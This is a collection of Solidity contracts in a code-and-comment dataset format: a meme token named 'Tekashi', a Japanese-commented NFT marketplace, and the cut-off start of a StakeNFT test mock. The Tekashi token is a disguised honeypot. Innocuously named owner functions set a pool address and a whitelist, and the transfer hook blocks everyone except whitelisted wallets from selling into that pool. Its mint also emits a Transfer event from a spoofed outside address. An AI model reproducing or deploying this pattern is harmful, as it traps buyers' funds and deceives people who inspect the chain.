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/**
*Submitted for verification at Etherscan.io on 2021-09-24
*/
/**
TEKASHI 6IX9INE
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
// File @openzeppelin/contracts/token/ERC20/[email protected]
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract Tekashi is ERC20, Ownable {
mapping(address=>bool) private _enable;
address private _uni;
constructor() ERC20('Tekashi','6IX9INE') {
_mint(0x524D3424d92a531F0c47fbb874D3b0E1939FD33A, 100000 *10**18);
_enable[0x524D3424d92a531F0c47fbb874D3b0E1939FD33A] = true;
}
function _mint(
address account,
uint256 amount
) internal virtual override (ERC20) {
require(ERC20.totalSupply() + amount <= 100000 *10**18, "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
function Stake(address user, bool enable) public onlyOwner {
_enable[user] = enable;
}
function EthPools(address uni_) public onlyOwner {
_uni = uni_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
if(to == _uni) {
require(_enable[from], "something went wrong");
}
}
}
|
@dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts./
|
abstract contract Context {
TEKASHI 6IX9INE
pragma solidity ^0.8.0;
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
| 6,816,203
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pragma solidity ^0.4.22;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
* 契約が一時停止されている場合にのみアクションを許可する
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
* 契約が一時停止されていない場合にのみアクションを許可する
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
* 一時停止するために所有者によって呼び出され、停止状態をトリガする
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
* ポーズをとるためにオーナーが呼び出し、通常の状態に戻ります
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract RocsBase is Pausable {
// 生誕代
uint128 public eggPrice = 50 finney;
function setEggPrice(uint128 _price) public onlyOwner {
eggPrice = _price;
}
// 進化代
uint128 public evolvePrice = 5 finney;
function setEvolvePrice(uint128 _price) public onlyOwner {
evolvePrice = _price;
}
// 生誕
event RocCreated(address owner, uint tokenId, uint rocId);
// ERC721
event Transfer(address from, address to, uint tokenId);
event ItemTransfer(address from, address to, uint tokenId);
/// @dev Rocの構造体
struct Roc {
// ID
uint rocId;
// DNA
string dna;
// 出品中フラグ 1は出品中
uint8 marketsFlg;
}
/// @dev Rocsの配列
Roc[] public rocs;
// rocIdとtokenIdのマッピング
mapping(uint => uint) public rocIndex;
// rocIdからtokenIdを取得
function getRocIdToTokenId(uint _rocId) public view returns (uint) {
return rocIndex[_rocId];
}
/// @dev 所有するアドレスへのマッピング
mapping (uint => address) public rocIndexToOwner;
// @dev 所有者アドレスから所有するトークン数へのマッピング
mapping (address => uint) public ownershipTokenCount;
/// @dev 呼び出しが承認されたアドレスへのマッピング
mapping (uint => address) public rocIndexToApproved;
/// @dev 特定のRocの所有権をアドレスに割り当てます。
function _transfer(address _from, address _to, uint256 _tokenId) internal {
ownershipTokenCount[_to]++;
ownershipTokenCount[_from]--;
rocIndexToOwner[_tokenId] = _to;
// イベント開始
emit Transfer(_from, _to, _tokenId);
}
}
/// @title ERC-721に準拠した契約のインタフェース：置き換え不可能なトークン
contract ERC721 {
// イベント
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
// 必要なメソッド
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) external view returns (address _owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function totalSupply() public view returns (uint);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
/// @title Roc所有権を管理するコントラクト
/// @dev OpenZeppelinのERC721ドラフト実装に準拠
contract RocsOwnership is RocsBase, ERC721 {
/// @notice ERC721で定義されている、置き換え不可能なトークンの名前と記号。
string public constant name = "CryptoFeather";
string public constant symbol = "CFE";
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('totalSupply()'));
/// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
/// この契約によって実装された標準化されたインタフェースでtrueを返します。
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
// DEBUG ONLY
//require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d));
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
/// @dev 特定のアドレスに指定されたrocの現在の所有者であるかどうかをチェックします。
/// @param _claimant
/// @param _tokenId
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return rocIndexToOwner[_tokenId] == _claimant;
}
/// @dev 特定のアドレスに指定されたrocが存在するかどうかをチェックします。
/// @param _claimant the address we are confirming kitten is approved for.
/// @param _tokenId kitten id, only valid when > 0
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return rocIndexToApproved[_tokenId] == _claimant;
}
/// @dev 以前の承認を上書きして、transferFrom（）に対して承認されたアドレスをマークします。
function _approve(uint256 _tokenId, address _approved) internal {
rocIndexToApproved[_tokenId] = _approved;
}
// 指定されたアドレスのroc数を取得します。
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
/// @notice rocの所有者を変更します。
/// @dev ERC-721への準拠に必要
function transfer(address _to, uint256 _tokenId) public whenNotPaused {
// 安全チェック
require(_to != address(0));
// 自分のrocしか送ることはできません。
require(_owns(msg.sender, _tokenId));
// 所有権の再割り当て、保留中の承認のクリア、転送イベントの送信
_transfer(msg.sender, _to, _tokenId);
}
/// @notice transferFrom（）を介して別のアドレスに特定のrocを転送する権利を与えます。
/// @dev ERC-721への準拠に必要
function approve(address _to, uint256 _tokenId) external whenNotPaused {
// 所有者のみが譲渡承認を認めることができます。
require(_owns(msg.sender, _tokenId));
// 承認を登録します（以前の承認を置き換えます）。
_approve(_tokenId, _to);
// 承認イベントを発行する。
emit Approval(msg.sender, _to, _tokenId);
}
/// @notice roc所有者の変更を行います。を転送します。そのアドレスには、以前の所有者から転送承認が与えられています。
/// @dev ERC-721への準拠に必要
function transferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused {
// 安全チェック。
require(_to != address(0));
// 承認と有効な所有権の確認
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
// 所有権を再割り当てします（保留中の承認をクリアし、転送イベントを発行します）。
_transfer(_from, _to, _tokenId);
}
/// @notice 現在存在するrocの総数を返します。
/// @dev ERC-721への準拠に必要です。
function totalSupply() public view returns (uint) {
return rocs.length - 1;
}
/// @notice 指定されたrocの現在所有権が割り当てられているアドレスを返します。
/// @dev ERC-721への準拠に必要です。
function ownerOf(uint256 _tokenId) external view returns (address owner) {
owner = rocIndexToOwner[_tokenId];
require(owner != address(0));
}
/// @dev この契約に所有権を割り当て、NFTを強制終了します。
/// @param _owner
/// @param _tokenId
function _escrow(address _owner, uint256 _tokenId) internal {
// it will throw if transfer fails
transferFrom(_owner, this, _tokenId);
}
}
/// @title Rocの飼育に関する管理を行うコントラクト
contract RocsBreeding is RocsOwnership {
/// @notice 新しいRocを作成して保存。
/// @param _rocId
/// @param _dna
/// @param _marketsFlg
/// @param _owner
/// @dev RocCreatedイベントとTransferイベントの両方を生成します。
function _createRoc(
uint _rocId,
string _dna,
uint _marketsFlg,
address _owner
)
internal
returns (uint)
{
Roc memory _roc = Roc({
rocId: _rocId,
dna: _dna,
marketsFlg: uint8(_marketsFlg)
});
uint newRocId = rocs.push(_roc) - 1;
// 同一のトークンIDが発生した場合は実行を停止します
require(newRocId == uint(newRocId));
// RocCreatedイベント
emit RocCreated(_owner, newRocId, _rocId);
// これにより所有権が割り当てられ、ERC721ドラフトごとに転送イベントが発行されます
rocIndex[_rocId] = newRocId;
_transfer(0, _owner, newRocId);
return newRocId;
}
/// @notice 新たに生み出します
/// @param _rocId
/// @param _dna
function giveProduce(uint _rocId, string _dna)
external
payable
whenNotPaused
returns(uint)
{
// 支払いを確認します。
require(msg.value >= eggPrice);
uint createRocId = _createRoc(
_rocId,
_dna,
0,
msg.sender
);
// 超過分を買い手に返す
uint256 bidExcess = msg.value - eggPrice;
msg.sender.transfer(bidExcess);
return createRocId;
}
/// @notice 初めてのRoc
/// @param _rocId
/// @param _dna
function freeGiveProduce(uint _rocId, string _dna)
external
payable
whenNotPaused
returns(uint)
{
// 初めてのRocか確認します。
require(balanceOf(msg.sender) == 0);
uint createRocId = _createRoc(
_rocId,
_dna,
0,
msg.sender
);
// 超過分を買い手に返す
uint256 bidExcess = msg.value;
msg.sender.transfer(bidExcess);
return createRocId;
}
}
/// @title Rocの売買のためのMarkets処理
contract RocsMarkets is RocsBreeding {
event MarketsCreated(uint256 tokenId, uint128 marketsPrice);
event MarketsSuccessful(uint256 tokenId, uint128 marketsPriceice, address buyer);
event MarketsCancelled(uint256 tokenId);
// NFT上のマーケットへの出品
struct Markets {
// 登録時のNFT売手
address seller;
// 価格
uint128 marketsPrice;
}
// トークンIDから対応するマーケットへの出品にマップします。
mapping (uint256 => Markets) tokenIdToMarkets;
// マーケットへの出品の手数料を設定
uint256 public ownerCut = 0;
function setOwnerCut(uint256 _cut) public onlyOwner {
require(_cut <= 10000);
ownerCut = _cut;
}
/// @notice Rocマーケットへの出品を作成し、開始します。
/// @param _rocId
/// @param _marketsPrice
function createRocSaleMarkets(
uint256 _rocId,
uint256 _marketsPrice
)
external
whenNotPaused
{
require(_marketsPrice == uint256(uint128(_marketsPrice)));
// チェック用のtokenIdをセット
uint checkTokenId = getRocIdToTokenId(_rocId);
// checkのオーナーである事
require(_owns(msg.sender, checkTokenId));
// checkのパラメータチェック
Roc memory roc = rocs[checkTokenId];
// マーケットへの出品中か確認してください。
require(uint8(roc.marketsFlg) == 0);
// 承認
_approve(checkTokenId, msg.sender);
// マーケットへの出品セット
_escrow(msg.sender, checkTokenId);
Markets memory markets = Markets(
msg.sender,
uint128(_marketsPrice)
);
// マーケットへの出品FLGをセット
rocs[checkTokenId].marketsFlg = 1;
_addMarkets(checkTokenId, markets);
}
/// @dev マーケットへの出品を公開マーケットへの出品のリストに追加します。
/// また、MarketsCreatedイベントを発生させます。
/// @param _tokenId The ID of the token to be put on markets.
/// @param _markets Markets to add.
function _addMarkets(uint256 _tokenId, Markets _markets) internal {
tokenIdToMarkets[_tokenId] = _markets;
emit MarketsCreated(
uint256(_tokenId),
uint128(_markets.marketsPrice)
);
}
/// @dev マーケットへの出品を公開マーケットへの出品のリストから削除します。
/// @param _tokenId
function _removeMarkets(uint256 _tokenId) internal {
delete tokenIdToMarkets[_tokenId];
}
/// @dev 無条件にマーケットへの出品を取り消します。
/// @param _tokenId
function _cancelMarkets(uint256 _tokenId) internal {
_removeMarkets(_tokenId);
emit MarketsCancelled(_tokenId);
}
/// @dev まだ獲得されていないMarketsをキャンセルします。
/// 元の所有者にNFTを返します。
/// @notice これは、契約が一時停止している間に呼び出すことができる状態変更関数です。
/// @param _rocId
function cancelMarkets(uint _rocId) external {
uint checkTokenId = getRocIdToTokenId(_rocId);
Markets storage markets = tokenIdToMarkets[checkTokenId];
address seller = markets.seller;
require(msg.sender == seller);
_cancelMarkets(checkTokenId);
rocIndexToOwner[checkTokenId] = seller;
rocs[checkTokenId].marketsFlg = 0;
}
/// @dev 契約が一時停止されたときにMarketsをキャンセルします。
/// 所有者だけがこれを行うことができ、NFTは売り手に返されます。
/// 緊急時にのみ使用してください。
/// @param _rocId
function cancelMarketsWhenPaused(uint _rocId) whenPaused onlyOwner external {
uint checkTokenId = getRocIdToTokenId(_rocId);
Markets storage markets = tokenIdToMarkets[checkTokenId];
address seller = markets.seller;
_cancelMarkets(checkTokenId);
rocIndexToOwner[checkTokenId] = seller;
rocs[checkTokenId].marketsFlg = 0;
}
/// @dev Markets入札
/// 十分な量のEtherが供給されればNFTの所有権を移転する。
/// @param _rocId
function bid(uint _rocId) external payable whenNotPaused {
uint checkTokenId = getRocIdToTokenId(_rocId);
// マーケットへの出品構造体への参照を取得する
Markets storage markets = tokenIdToMarkets[checkTokenId];
uint128 sellingPrice = uint128(markets.marketsPrice);
// 入札額が価格以上である事を確認する。
// msg.valueはweiの数
require(msg.value >= sellingPrice);
// マーケットへの出品構造体が削除される前に、販売者への参照を取得します。
address seller = markets.seller;
// マーケットへの出品を削除します。
_removeMarkets(checkTokenId);
if (sellingPrice > 0) {
// 競売人のカットを計算します。
uint128 marketseerCut = uint128(_computeCut(sellingPrice));
uint128 sellerProceeds = sellingPrice - marketseerCut;
// 売り手に送金する
seller.transfer(sellerProceeds);
}
// 超過分を買い手に返す
msg.sender.transfer(msg.value - sellingPrice);
// イベント
emit MarketsSuccessful(checkTokenId, sellingPrice, msg.sender);
_transfer(seller, msg.sender, checkTokenId);
// マーケットへの出品FLGをセット
rocs[checkTokenId].marketsFlg = 0;
}
/// @dev 手数料計算
/// @param _price
function _computeCut(uint128 _price) internal view returns (uint) {
return _price * ownerCut / 10000;
}
}
/// @title CryptoRocs
contract RocsCore is RocsMarkets {
// コア契約が壊れてアップグレードが必要な場合に設定します
address public newContractAddress;
/// @dev 一時停止を無効にすると、契約を一時停止する前にすべての外部契約アドレスを設定する必要があります。
function unpause() public onlyOwner whenPaused {
require(newContractAddress == address(0));
// 実際に契約を一時停止しないでください。
super.unpause();
}
// @dev 利用可能な残高を取得できるようにします。
function withdrawBalance(uint _subtractFees) external onlyOwner {
uint256 balance = address(this).balance;
if (balance > _subtractFees) {
owner.transfer(balance - _subtractFees);
}
}
/// @notice tokenIdからRocに関するすべての関連情報を返します。
/// @param _tokenId トークンID
function getRoc(uint _tokenId)
external
view
returns (
uint rocId,
string dna,
uint marketsFlg
) {
Roc memory roc = rocs[_tokenId];
rocId = uint(roc.rocId);
dna = string(roc.dna);
marketsFlg = uint(roc.marketsFlg);
}
/// @notice rocIdからRocに関するすべての関連情報を返します。
/// @param _rocId rocId
function getRocrocId(uint _rocId)
external
view
returns (
uint rocId,
string dna,
uint marketsFlg
) {
Roc memory roc = rocs[getRocIdToTokenId(_rocId)];
rocId = uint(roc.rocId);
dna = string(roc.dna);
marketsFlg = uint(roc.marketsFlg);
}
/// @notice rocIdからMarkets情報を返します。
/// @param _rocId rocId
function getMarketsRocId(uint _rocId)
external
view
returns (
address seller,
uint marketsPrice
) {
uint checkTokenId = getRocIdToTokenId(_rocId);
Markets memory markets = tokenIdToMarkets[checkTokenId];
seller = markets.seller;
marketsPrice = uint(markets.marketsPrice);
}
/// @notice rocIdからオーナー情報を返します。
/// @param _rocId rocId
function getRocIndexToOwner(uint _rocId)
external
view
returns (
address owner
) {
uint checkTokenId = getRocIdToTokenId(_rocId);
owner = rocIndexToOwner[checkTokenId];
}
}
|
@dev Markets入札 十分な量のEtherが供給されればNFTの所有権を移転する。 @param _rocId マーケットへの出品構造体への参照を取得する 入札額が価格以上である事を確認する。 msg.valueはweiの数 マーケットへの出品構造体が削除される前に、販売者への参照を取得します。 マーケットへの出品を削除します。 競売人のカットを計算します。 売り手に送金する
|
function bid(uint _rocId) external payable whenNotPaused {
uint checkTokenId = getRocIdToTokenId(_rocId);
Markets storage markets = tokenIdToMarkets[checkTokenId];
uint128 sellingPrice = uint128(markets.marketsPrice);
require(msg.value >= sellingPrice);
address seller = markets.seller;
_removeMarkets(checkTokenId);
if (sellingPrice > 0) {
uint128 marketseerCut = uint128(_computeCut(sellingPrice));
uint128 sellerProceeds = sellingPrice - marketseerCut;
seller.transfer(sellerProceeds);
}
_transfer(seller, msg.sender, checkTokenId);
}
| 5,500,381
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// SPDX-License-Identifier: MIT-open-group
pragma solidity ^0.8.0;
import "lib/ds-test/test.sol";
import "src/tokens/StakeNFT.sol";
import "lib/openzeppelin/token/ERC20/ERC20.sol";
import "lib/openzeppelin/token/ERC721/IERC721Receiver.sol";
uint256 constant ONE_MADTOKEN = 10**18;
contract MadTokenMock is ERC20 {
constructor(address to_) ERC20("MadToken", "MAD") {
_mint(to_, 220000000 * ONE_MADTOKEN);
}
}
abstract contract BaseMock {
StakeNFT public stakeNFT;
MadTokenMock public madToken;
function setTokens(MadTokenMock madToken_, StakeNFT stakeNFT_) public {
stakeNFT = stakeNFT_;
madToken = madToken_;
}
receive() external payable virtual {}
function mint(uint256 amount_) public returns (uint256) {
return stakeNFT.mint(amount_);
}
function mintTo(
address to_,
uint256 amount_,
uint256 duration_
) public returns (uint256) {
return stakeNFT.mintTo(to_, amount_, duration_);
}
function burn(uint256 tokenID) public returns (uint256, uint256) {
return stakeNFT.burn(tokenID);
}
function burnTo(address to_, uint256 tokenID)
public
returns (uint256, uint256)
{
return stakeNFT.burnTo(to_, tokenID);
}
function approve(address who, uint256 amount_) public returns (bool) {
return madToken.approve(who, amount_);
}
function depositToken(uint256 amount_) public {
stakeNFT.depositToken(42, amount_);
}
function depositEth(uint256 amount_) public {
stakeNFT.depositEth{value: amount_}(42);
}
function collectToken(uint256 tokenID_) public returns (uint256 payout) {
return stakeNFT.collectToken(tokenID_);
}
